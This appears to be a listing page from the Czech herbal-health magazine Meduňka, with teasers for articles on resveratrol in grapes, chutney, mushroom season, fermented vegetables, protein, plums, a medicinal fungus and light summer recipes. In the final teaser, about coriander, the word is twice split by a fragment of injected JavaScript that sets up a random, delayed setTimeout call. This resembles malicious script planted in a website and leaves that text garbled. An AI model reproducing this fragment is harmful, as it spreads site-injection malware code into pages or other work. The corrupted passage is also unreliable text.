I hroznové víno léčí…
tvrdí ve svém článku dlouholetý spolupracovník Meduňky prof. Ing. Pavel Valíček DrSc. Věříme, že tím zaujme a potěší ty z vás, milí čtenáři, kteří máte rádi víno ve všech podobách… Resveratrol a réva vinnáV roce 1991 vyvolalo v USA velký ohlas televizní vystoupení prof. Renauda,…
Chutná vám čatní (chutney)?
I když je to trošku nezvyklý název, hodí se čatní ke spoustě pokrmů. Dochuťte si s ním maso, grilovanou zeleninu, sýry nebo si do něj namáčejte brambůrky. Jeho příprava je jednoduchá a výsledek stojí za to. Stále ještě je čas cuket, a tak…
Houbaři zažívají v těchto dnech doslova houbařské žně…
… protože málokdy rostou houby v takovém množství jako v těchto dnech a týdnech. Není ani třeba je příliš hledat, prostě jdete po lese (nebo jedete na kole…) a houby jsou všude kolem vás, stačí se jen rozhlédnout, sehnout a za chvíli je…
Blahodárný poklad pro náš organismus je mléčně kvašená zelenina,
tvrdí ve svém článku bylinkářka a publicistka MgA. Zdeňka Vaculík Erlebachová, a připomíná, že zdravotní účinky mléčně kvašené zeleniny pro náš organismus jsou obrovské. Článek o mléčném kvašení zeleniny a o prospěšnosti takto upravené zeleniny pro naše zdraví je součástí hlavního tématu zářijové…
Jíst, či nejíst bílkoviny?
Také se vám stává, že se v záplavě informací o výživě ztrácíte, zejména tehdy, když si některé informace protiřečí? Důležité je pochopit základní principy fungování našeho organismu, abychom si dokázali udělat názor sami. Proto jsme pro vás vybrali následující článek, v němž jeho…
Už dozrávají…
Pokud jste v posledních dnech vyrazili na procházku do přírody, možná jste si všimli, že na stromech kolem cest či v alejích už dozrávají ŠVESTKY. Tohle oblíbené ovoce pozdního léta se pyšní jednak lahodnou chutí (třeba takový švestkový koláč nebo tradiční česká dobrota…
Rostou?
Před týdnem napršelo, a tak by růst měly – máme samozřejmě na mysli HOUBY. A jak jsou na tom houby z hlediska zdravé výživy? Podívejte se, možná budete překvapeni, co všechno naše milé houby v sobě obsahují… Tak vzhůru do lesa, ale než…
- Alternativní medicína, Bylinky, Léčitelství, Meduňka, Pro inspiraci, Psychosomatická medicína, Výživa a zdravá strava
K zákazu outkovky pestré
Pokud jste název této houby s léčivými účinky zatím neslyšeli, potřebné informace o ní se dozvíte v následujícm článku prof. Ing. Pavla Valíčka, botanika, odborníka na tropické rostliny a našeho dlouhodobého spolupracovníka. Možná zjistíte, že tato léčivá houba roste někde blízko ve vašem…
Pro inspiraci: tři lehká letní jídla (a navíc výborná…)
V létě se většinou nikomu z nás nechce trávit příliš mnoho času v kuchyni, že – zároveň si ale jistě rádi dáme něco dobrého… A proto jsou tu pro vás tři recepty, které jsme vybrali z knihy Simony Procházkové Děti a bylinky. Věřte,…
Koření, které buď zbožňujete – nebo nesnášíte: KORIANDR
Znáte koriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andr? A pokud ano – patříte k jeho příznivcům, nebo vám jeho výrazná chuť a vůně vadí? Pokud máte chuť něco se o koriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andru dozvědět nebo…
